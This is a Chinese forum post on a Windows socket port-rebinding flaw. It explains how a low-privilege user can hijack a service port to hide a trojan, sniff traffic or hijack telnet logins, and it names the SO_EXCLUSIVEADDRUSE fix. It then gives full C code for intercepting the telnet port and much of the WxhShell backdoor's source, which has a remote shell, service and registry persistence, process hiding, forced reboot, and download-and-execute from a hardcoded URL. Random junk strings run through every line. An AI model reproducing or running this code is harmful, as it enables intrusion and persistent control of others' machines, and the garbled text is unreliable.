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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )LrCoI =|  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +\[![r^P  
`e'o~ oSu  
  saddr.sin_family = AF_INET; .O%1)p  
$F`<&o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); )bXx9,VL  
akc"}+-oX  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r,@X>_}  
qb&N S4#  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eTRx6Fri(  
<Bb<?7q$ld  
  这意味着什么?意味着可以进行如下的攻击: n5* {hi  
cU5"c)$'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2T(,H.O  
IQi[g~E.5  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [(hvK {)  
9_A0:S9Z  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /xm#:+Sc  
:;*#Qh3"  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  kPX2e h  
Q'Kik5I  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Re,$<9V  
Xt,,AGm}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .UhBvHH  
ZDkD%SCy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +b,31  
xAd>",=~  
  #include s3_e7D ^H  
  #include Vkvb=  
  #include ) 4L%zl7  
  #include    V3A>Ag+^~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ['Y+z2k  
  int main() |RAQ%VXm  
  { :CkR4J!m3  
  WORD wVersionRequested; o=RqegL  
  DWORD ret; + 65~,e  
  WSADATA wsaData; Y K?*7  
  BOOL val; Gz[ym j)5  
  SOCKADDR_IN saddr; t3#H@0<  
  SOCKADDR_IN scaddr; F`BgKH!  
  int err; HLoQ}oK|K  
  SOCKET s; l@Eq|y,  
  SOCKET sc; |CZnq-,C  
  int caddsize; Oz#EGjz  
  HANDLE mt; ss0'GfP  
  DWORD tid;   Vyt~OTI\  
  wVersionRequested = MAKEWORD( 2, 2 ); +/!=Ub[:U  
  err = WSAStartup( wVersionRequested, &wsaData ); nvs}r%1'5  
  if ( err != 0 ) { VkTlPmr  
  printf("error!WSAStartup failed!\n"); DYT -#Ht  
  return -1; m]=oaj@9  
  } iy.%kHC  
  saddr.sin_family = AF_INET; qzH qj;  
   dp[w?AMhM9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 {r].SrW9s9  
}@:QYTBi }  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]Ic?:lKN  
  saddr.sin_port = htons(23); QLB1:O>  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) d(DX(xg  
  { :<t{ =0G  
  printf("error!socket failed!\n"); 8G5) o`  
  return -1; Nr]8P/[~  
  } yK&* ,J |  
  val = TRUE; ANFg]g.Az  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 NO+ 55n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {n'qKur xY  
  { n(Q\' ,C  
  printf("error!setsockopt failed!\n"); /J[H5uA  
  return -1; uFm+Y]h  
  } iO9nvM<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KYkS6|A  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 WBw M;S#%  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I| W'n-4Y  
=~\]3g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Xb<DpBrk  
  { I NPYJ#%  
  ret=GetLastError(); 5U)ab3 :  
  printf("error!bind failed!\n"); }#ep}h  
  return -1; PHRGhKJW})  
  } 9b"9m*gC  
  listen(s,2); +w k]iH  
  while(1) h5&/hBN  
  { pyg!rf-  
  caddsize = sizeof(scaddr); YH'$_,8peM  
  //接受连接请求 F%PwIB~cy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0HHui7Yy>  
  if(sc!=INVALID_SOCKET) .B 85!lCF  
  { P>{US1t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q?imE~&U  
  if(mt==NULL) dq YDz  
  { 7>'uj7r]=  
  printf("Thread Creat Failed!\n"); e' U"`)S  
  break; %Le:wC  
  } UK"}}nO@e  
  } y^mWG1"O  
  CloseHandle(mt); b(}Gm@#  
  } N ;Z`%&  
  closesocket(s); *?^Z)C>  
  WSACleanup(); 2/yXY_L  
  return 0; e$Xq    
  }   IP30y>\  
  DWORD WINAPI ClientThread(LPVOID lpParam) S]e j=6SP  
  { d)04;[=  
  SOCKET ss = (SOCKET)lpParam; ySwYV  
  SOCKET sc; Cdp]Nv6  
  unsigned char buf[4096]; zd*3R+>U'>  
  SOCKADDR_IN saddr; $N}/1R^?r  
  long num; #cj\~T.,,  
  DWORD val; .1.J5>/n  
  DWORD ret; Pv/Pww \  
  //如果是隐藏端口应用的话,可以在此处加一些判断 F-BJe]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   N+CXOI=6x  
  saddr.sin_family = AF_INET; NI5]Nz<?  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); %6NO0 F^  
  saddr.sin_port = htons(23); 5q|+p?C  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5:Yck<  
  { c Ndw9?Z  
  printf("error!socket failed!\n"); a -xW8  
  return -1; "t[M'[ `C  
  } On{~St'V  
  val = 100; gohAp  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 24T@N~\g  
  { $?FS00p*|X  
  ret = GetLastError(); 7$!`p,@we/  
  return -1; AIZW@Nq.5  
  } I?_E,.)[ I  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eecw]P_?  
  { CY*ngi&  
  ret = GetLastError(); V#ndyUM;  
  return -1; kCima/+_  
  } pOqGAD{D$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .M DYGWKt  
  { nE/=:{~Ws  
  printf("error!socket connect failed!\n"); jW-;4e*H=V  
  closesocket(sc); AIuMX4nb  
  closesocket(ss); cPpu  
  return -1; 5cD XWF  
  } s1X]RXX&j  
  while(1) az0cS*@  
  { Vh"MKJ'R^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F,*2#:Ki  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录  28nmQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gs[Vu@*  
  num = recv(ss,buf,4096,0); <jbj/Q )"  
  if(num>0) Wgxn`6  
  send(sc,buf,num,0); ETU-]R3  
  else if(num==0) z>4 D~HX  
  break; q1YLq(e  
  num = recv(sc,buf,4096,0); ZlthYuJ  
  if(num>0) j((hqJr  
  send(ss,buf,num,0); blJIto '  
  else if(num==0) MV%Xhfk  
  break; p/r~n'g$  
  } - #3{{  
  closesocket(ss); y L*LJ  
  closesocket(sc); \r)%R5_CQ  
  return 0 ; 4\p$4Hs}  
  } ;aq`N}d  
vG Y!4@[  
|q3f]T&+>{  
========================================================== p3g4p  
]#F q>E  
下边附上一个代码,,WXhSHELL Mv|vRx^b  
t,RyeS/  
========================================================== sz'p3  
|<sf:#YzY&  
#include "stdafx.h" 53B.2 4Tm  
S[v Rw]*  
#include <stdio.h> EPc!p>  
#include <string.h> fD'/#sA#'  
#include <windows.h> XZ} de%U1  
#include <winsock2.h> `)"tO&Fn  
#include <winsvc.h> lp(Nv(S  
#include <urlmon.h> cL#-*_(  
cv3L&zg M  
#pragma comment (lib, "Ws2_32.lib") Vl<`|C>  
#pragma comment (lib, "urlmon.lib") aiYo8+{!#  
kEO1TS  
#define MAX_USER   100 // 最大客户端连接数 _*Pfp+if  
#define BUF_SOCK   200 // sock buffer aC`Li^  
#define KEY_BUFF   255 // 输入 buffer IWQ&6SDW$z  
Bb~5& @M|N  
#define REBOOT     0   // 重启 cn$5:%IK  
#define SHUTDOWN   1   // 关机 ji }#MBac  
ASR-a't6  
#define DEF_PORT   5000 // 监听端口 d7E7f  
djUihcqA`  
#define REG_LEN     16   // 注册表键长度 *2`:VFEV  
#define SVC_LEN     80   // NT服务名长度 ^%;"[r  
?4,@, ae&  
// 从dll定义API 5? Wg%@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s}wO7Df=+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); :AZp}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rsWQHHkO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ) ]73S@P(=  
iAK/d)bq  
// wxhshell配置信息 {B3(HiC  
struct WSCFG { a2o.a 2  
  int ws_port;         // 监听端口 ,(P %z.P@  
  char ws_passstr[REG_LEN]; // 口令 /9pbnzn  
  int ws_autoins;       // 安装标记, 1=yes 0=no Vb2\/e:k  
  char ws_regname[REG_LEN]; // 注册表键名 SZ/(\kQ6  
  char ws_svcname[REG_LEN]; // 服务名 mH)OB?+lq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 PB+\jj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }t\ 10nQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;Z*'D}  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tv\HAK<N  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" usy,V"{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7aQ n;  
I0iY+@^5  
}; 4`s)ue  
y:.?5KsPI  
// default Wxhshell configuration Pg Syt  
struct WSCFG wscfg={DEF_PORT, 7H%_sw5S.  
    "xuhuanlingzhe", ';6X!KY+]  
    1, Wab.|\c  
    "Wxhshell", + 8f>^*:u  
    "Wxhshell", 2 5Q+1  
            "WxhShell Service", @V$I?iXV  
    "Wrsky Windows CmdShell Service", &$F[/[Ds+  
    "Please Input Your Password: ", 3p_b8K_bG  
  1, @bT3'K-4  
  "http://www.wrsky.com/wxhshell.exe", dQ<(lzS~  
  "Wxhshell.exe" g5}lLKT  
    }; ]YsR E>  
B9*Sfw%  
// 消息定义模块 &:No}6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t!{x<9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; l<xFnj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +*C^:^jA  
char *msg_ws_ext="\n\rExit."; >$uUuiyL4  
char *msg_ws_end="\n\rQuit."; e\r7BW\Y  
char *msg_ws_boot="\n\rReboot..."; pDOM:lGya  
char *msg_ws_poff="\n\rShutdown..."; oIb) Rq!m  
char *msg_ws_down="\n\rSave to "; Y 9i][  
0wFh%/:  
char *msg_ws_err="\n\rErr!"; -L8Y J8J6  
char *msg_ws_ok="\n\rOK!"; D#jX6  
?L\z}0#  
char ExeFile[MAX_PATH]; @Dj:4  
int nUser = 0; c4 5?St  
HANDLE handles[MAX_USER]; 4UD' %}>y  
int OsIsNt; .E$q&7@/j  
]RD5Ex!K?  
SERVICE_STATUS       serviceStatus; GJ`UO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1i'Z ei)  
JpK[&/Ct  
// 函数声明 +_~,86  
int Install(void); OR;&TbWF(R  
int Uninstall(void); _R74/|  
int DownloadFile(char *sURL, SOCKET wsh); p+[} Hxx=  
int Boot(int flag); u s`}  
void HideProc(void); @6b[GekZ<  
int GetOsVer(void); Q>=-ext}q  
int Wxhshell(SOCKET wsl); *H" aOT^{  
void TalkWithClient(void *cs); fK_~lGY(  
int CmdShell(SOCKET sock); ;Iq5|rzDn  
int StartFromService(void); K_#UZA< Y  
int StartWxhshell(LPSTR lpCmdLine); uN bIX:L,  
{y6C0A*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 5 `=KyHi:b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t77'fm  
Ea]T>4  
// 数据结构和表定义 =/9<(Tt%m  
SERVICE_TABLE_ENTRY DispatchTable[] = @.ZL7$|d  
{ 76u{!\Jo/{  
{wscfg.ws_svcname, NTServiceMain}, X$V|+lTk  
{NULL, NULL} -k{ Jp/-D  
}; L\L"mc|O  
7|Dn+ =  
// 自我安装 lw[<STpD;  
int Install(void) ([KN*OF  
{ XG&K32_fs  
  char svExeFile[MAX_PATH]; X NE+(Bt  
  HKEY key; SF< [FM%1  
  strcpy(svExeFile,ExeFile); c~+l-GIWm  
"w&/m}E,[  
// 如果是win9x系统,修改注册表设为自启动 O]{*(J/t  
if(!OsIsNt) { _|<BF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dm%%e o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5B*qbM  
  RegCloseKey(key); $.:3$et@/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sPCMckt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |>2: eH  
  RegCloseKey(key); CH;;V3  
  return 0; tpYa?ZCM  
    } DYRE1!  
  } A1-qtAO]  
} ZEGd4_ux  
else { /{X_ .fv<v  
]:et~pfW  
// 如果是NT以上系统,安装为系统服务 k1fRj_@WPT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !ZrB^?sO  
if (schSCManager!=0) |$e:*  
{ /U*yw5  
  SC_HANDLE schService = CreateService 4j3oT)+8  
  ( rk,p!}FqL  
  schSCManager, H]Wp%"L  
  wscfg.ws_svcname,  $Nu)E  
  wscfg.ws_svcdisp, !O{ z 3W  
  SERVICE_ALL_ACCESS, <HQ&-jx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T//S,   
  SERVICE_AUTO_START, Df@/cT  
  SERVICE_ERROR_NORMAL, u+2Lm*M  
  svExeFile, 2EfflZL3  
  NULL, "HC)/)Mv@  
  NULL, uTGcQs}  
  NULL, @~o`#$*|  
  NULL, 3eKQ<$w  
  NULL }q'WC4.  
  ); GuO`jz F  
  if (schService!=0) f1Zt?=  
  { kCA5|u  
  CloseServiceHandle(schService); ?/d!R]3  
  CloseServiceHandle(schSCManager); wL2XNdo}<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D1Yh,P<CF\  
  strcat(svExeFile,wscfg.ws_svcname); ;+`uER  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { e<5Y94YE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <TxC!{<  
  RegCloseKey(key); lLCdmxbT  
  return 0; #T\  
    } 0M8.U  
  } &+r 4  
  CloseServiceHandle(schSCManager); El6bD% \G  
} g$3> ~D  
} >}SRSqJu  
JD~aUB%  
return 1; C4NRDwU|.  
} (F8AL6  
n93zD*;5  
// 自我卸载 6[?}6gQ  
int Uninstall(void) sX:lE^)-z  
{ XnXb&@Y  
  HKEY key; !Iq{ 5:  
&1GUi{I  
if(!OsIsNt) { |(ocDmd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { p4> ,Fwy2  
  RegDeleteValue(key,wscfg.ws_regname); Qb`C)Nh:  
  RegCloseKey(key); -3hCiKq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q)^g3J  
  RegDeleteValue(key,wscfg.ws_regname);  .mPg0  
  RegCloseKey(key); rkYjq4Z@  
  return 0; =Od>;|]m  
  } tt4+m>/T  
} #D)x}#V\  
} }.{}A(^YR  
else { 9;KJr[FQV  
j|K.i/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &U &%ka<*  
if (schSCManager!=0) iZ; TYcT  
{ @J vZ[T/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); >V!LitdJ  
  if (schService!=0) sR*Nq5F#9  
  { '[Gm8K5  
  if(DeleteService(schService)!=0) { Fu)Th|5GZ  
  CloseServiceHandle(schService); -&Gfh\_NW  
  CloseServiceHandle(schSCManager); hz)9"B\S  
  return 0; f\K#>u* Q  
  } 2 F?kjg,  
  CloseServiceHandle(schService); n`L,]dco  
  } h0VzIuV  
  CloseServiceHandle(schSCManager); uD)-V;}P@;  
} a$}mWPp+f  
} U:lv^ QPG  
5 09Q0 [k  
return 1; ;NsO  
} )saR0{e0N  
-<W2PY<  
// 从指定url下载文件 +LzovC@^  
int DownloadFile(char *sURL, SOCKET wsh) rsF:4G"%  
{ km\%BD~  
  HRESULT hr; 9 P"iuU  
char seps[]= "/"; #":a6%0Q  
char *token; ^7u#30,}3~  
char *file; Y<LNQ]8\G  
char myURL[MAX_PATH]; h&'=F)5  
char myFILE[MAX_PATH]; 1D{#rA.X  
-M61 Mw1  
strcpy(myURL,sURL); LprM;Q_  
  token=strtok(myURL,seps); 9 5 H?{  
  while(token!=NULL) ,Y!zORv<7  
  { @ajM^L!O  
    file=token; H(qm>h$bU  
  token=strtok(NULL,seps); :vQM>9l7  
  } 0Nr\2|  
kuS/S\Z5K  
GetCurrentDirectory(MAX_PATH,myFILE); 3Gd0E;3sk~  
strcat(myFILE, "\\"); r nBOj#N  
strcat(myFILE, file); } uQ${]&D  
  send(wsh,myFILE,strlen(myFILE),0); Do;#NLrWb  
send(wsh,"...",3,0); =nhzMU9c\y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *Bw#c j  
  if(hr==S_OK) |:2c$zq  
return 0; mm,lhIh  
else ULl_\5s2  
return 1; y1C/v:;  
8(A{;9^g  
} u O'/|[`8  
,sDr9h/'C3  
// 系统电源模块 ?q Xs-  
int Boot(int flag) l3J$md|f  
{ ;~/4d-  
  HANDLE hToken; a [C&e,)}  
  TOKEN_PRIVILEGES tkp; ~A >o O-0K  
)H+kB<n  
  if(OsIsNt) { dAxp ,):&J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XxOn3i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); dDlG!F_=  
    tkp.PrivilegeCount = 1; 6P+DnS[]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; XO wiHW{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V0NVGRQ  
if(flag==REBOOT) { Lt>7hBe"  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fNoR\5}!  
  return 0; fIyPFqf7w)  
} 6tdI6  
else { $Jf9;.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) r/AHJU3&eY  
  return 0; }ND'0*#  
} ")M;+<c"l  
  } D'L{wm  
  else {  ;Qa;@  
if(flag==REBOOT) { detLjlE  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &O tAAE  
  return 0; og-]tEWA1  
} -1 W  
else { 9#@Zz4Ww  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) IVteF*8hU  
  return 0; ,F: =(21  
} (~#G'Hd  
} }1m_o@{3P  
"{( [!  
return 1; ( V4G<-jG  
} t _\MAK  
{A3 m+_8  
// win9x进程隐藏模块 I,j3bC  
void HideProc(void) hTw}X.<4  
{ %dmfBf Ev  
Uu5C%9^s  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pULsGb  
  if ( hKernel != NULL ) Ae3,^  
  { YMu)  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !6E:5=L^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); d@>\E/zA  
    FreeLibrary(hKernel); lzfDH =&  
  } M=%!IT  
0j$OE  
return; hW%p#g;  
} FpzP #;  
`Bu9Nq  
// 获取操作系统版本 /=ylQn3 *  
int GetOsVer(void) (C`@a/q  
{ RVP18ub.S  
  OSVERSIONINFO winfo; z!CD6W1n  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -N z}DW>  
  GetVersionEx(&winfo); e?<D F.Md+  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B] i:)   
  return 1; M(5D'4.  
  else /{we;Ut=g  
  return 0; Z| L2oc e  
} ,?y7 ,nb  
HRHrSf7  
// 客户端句柄模块 D rTM$)  
int Wxhshell(SOCKET wsl) c[{UI  
{ a: IwA9!L  
  SOCKET wsh; ,n5a])Dg  
  struct sockaddr_in client; .,mM%w,^O  
  DWORD myID; ^zeL+(@r/  
4Hd Si  
  while(nUser<MAX_USER) IMaYEO[  
{ $8@+j[>  
  int nSize=sizeof(client); W5I=X] &  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  UTX](:TC  
  if(wsh==INVALID_SOCKET) return 1; wlVvxX3%  
BWEv1' v  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sVoR?peQ  
if(handles[nUser]==0) : ;TYL[  
  closesocket(wsh); ]xrD<  
else CB({Rn  
  nUser++; %uuH^A  
  } ?9S+Cj`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `[@VxGy_  
yFO)<GLk  
  return 0; +2y&B,L_Wh  
} [<Jp#&u6sb  
Nt,~b^9  
// 关闭 socket ue9h   
void CloseIt(SOCKET wsh) J)huy\>,  
{ qUg9$oh{LI  
closesocket(wsh); v= 8VvT 8  
nUser--; 6ZEdihBei  
ExitThread(0); 8m7;x/0ld  
} Bb_Q_<DTs  
LP?P=c  
// 客户端请求句柄 _H2tZ%RM  
void TalkWithClient(void *cs) >Bx8IO1_\d  
{ 5Hy3\_ +  
>[P%Ty);  
  SOCKET wsh=(SOCKET)cs; ~o Fh>9u  
  char pwd[SVC_LEN]; eP?~- #  
  char cmd[KEY_BUFF]; LYNZP4(R  
char chr[1]; @<5Tba>SC  
int i,j; N(BiOLZL6  
j%5a+(H,z;  
  while (nUser < MAX_USER) { 6Pijvx^0  
HTN$ >QTI  
if(wscfg.ws_passstr) { u GIr&`S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ol#yjrv  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +,wWhhvlzv  
  //ZeroMemory(pwd,KEY_BUFF); B~rU1Y)  
      i=0; @it/$>R^)  
  while(i<SVC_LEN) { e&ts\0  
+9_,w bF  
  // 设置超时 '$*[SauAG  
  fd_set FdRead; _<2 RYXBC  
  struct timeval TimeOut; }Az'Zu4 =  
  FD_ZERO(&FdRead); Z+,CL/  
  FD_SET(wsh,&FdRead); gi 5XP]z  
  TimeOut.tv_sec=8; g@(4ujOT  
  TimeOut.tv_usec=0; ZR6&AiL(Bj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %HVD^. V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 22'vm~2E  
& L'6KEahR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6Wb!J>93  
  pwd=chr[0]; _[%n ~6  
  if(chr[0]==0xd || chr[0]==0xa) { j"0rkN3$J  
  pwd=0; ?cJA^W  
  break; F~'sT}A*  
  } l{QC}{Ejc2  
  i++; !^-OfqIHfV  
    }  RY9. n  
Z:TFOnJ  
  // 如果是非法用户,关闭 socket S[ ^nSF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gtMw3D`FL  
} 4`6< {  
=G*z 5 3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 01o [!nT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G1TANy  
SlT7L||Ww  
while(1) { ;tXY =  
;xI0\a7  
  ZeroMemory(cmd,KEY_BUFF); EFD?di)s  
_ }^u-fJ/~  
      // 自动支持客户端 telnet标准   3jS7 uU  
  j=0; $-e=tWkgv  
  while(j<KEY_BUFF) { ~9bv Wd1D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2=O ))^8  
  cmd[j]=chr[0]; {F/q{c~]  
  if(chr[0]==0xa || chr[0]==0xd) { E;$$+rA  
  cmd[j]=0; oHk27U G  
  break; ZLuPz#  
  } gz#+  
  j++; sX Z4U0 #  
    } zNwc((  
,k\/]9  
  // 下载文件 t)KPp|&  
  if(strstr(cmd,"http://")) { ,, 7.=#  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l*qk1H"g  
  if(DownloadFile(cmd,wsh)) w~p4S+k&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); X4Lsvvz%@  
  else yj'Cy8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `LqnEutzc  
  } \Me"'.F?  
  else { lqauk)(A0  
8'n#O>V@  
    switch(cmd[0]) { HMhLTl{;  
  !@A|L#*  
  // 帮助 ps "9;4P  
  case '?': { _E&U?>g+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y&h~Oa?,;  
    break; VYHOk3  
  } Z rA Um  
  // 安装 &D)Hz  
  case 'i': { DVbYShB  
    if(Install()) ^^7gDgT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n00z8B1j(l  
    else UYH|?Jw!N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :bI,rEW#_  
    break; " xlJs93c  
    } M.X}K7Z_/  
  // 卸载 9Il'E6 J  
  case 'r': { =#jTo|~u4o  
    if(Uninstall()) [+_\z',u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); } mgVC  
    else aE}=^%D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a!&bc8J7  
    break; ?~{r f:Y  
    } I{Rz,D uAL  
  // 显示 wxhshell 所在路径 w8O hJv  
  case 'p': { FX cc1X/  
    char svExeFile[MAX_PATH]; ta@ ISRK  
    strcpy(svExeFile,"\n\r"); wQ@Zw bx  
      strcat(svExeFile,ExeFile); &:-GI)[o  
        send(wsh,svExeFile,strlen(svExeFile),0); C"(_mW{@  
    break; B5 D3_ iX]  
    } 9#Z zE/  
  // 重启 <. ezw4ju  
  case 'b': { r!CA2iK`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $tEdBnf^ca  
    if(Boot(REBOOT)) HhzkMJR8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r}Ltv?4  
    else { t`h_+p%>  
    closesocket(wsh); Hi$#!OU  
    ExitThread(0); `Yg7,{A\J  
    } gfV]^v  
    break; )8 oEs  
    } gh.w Li$+  
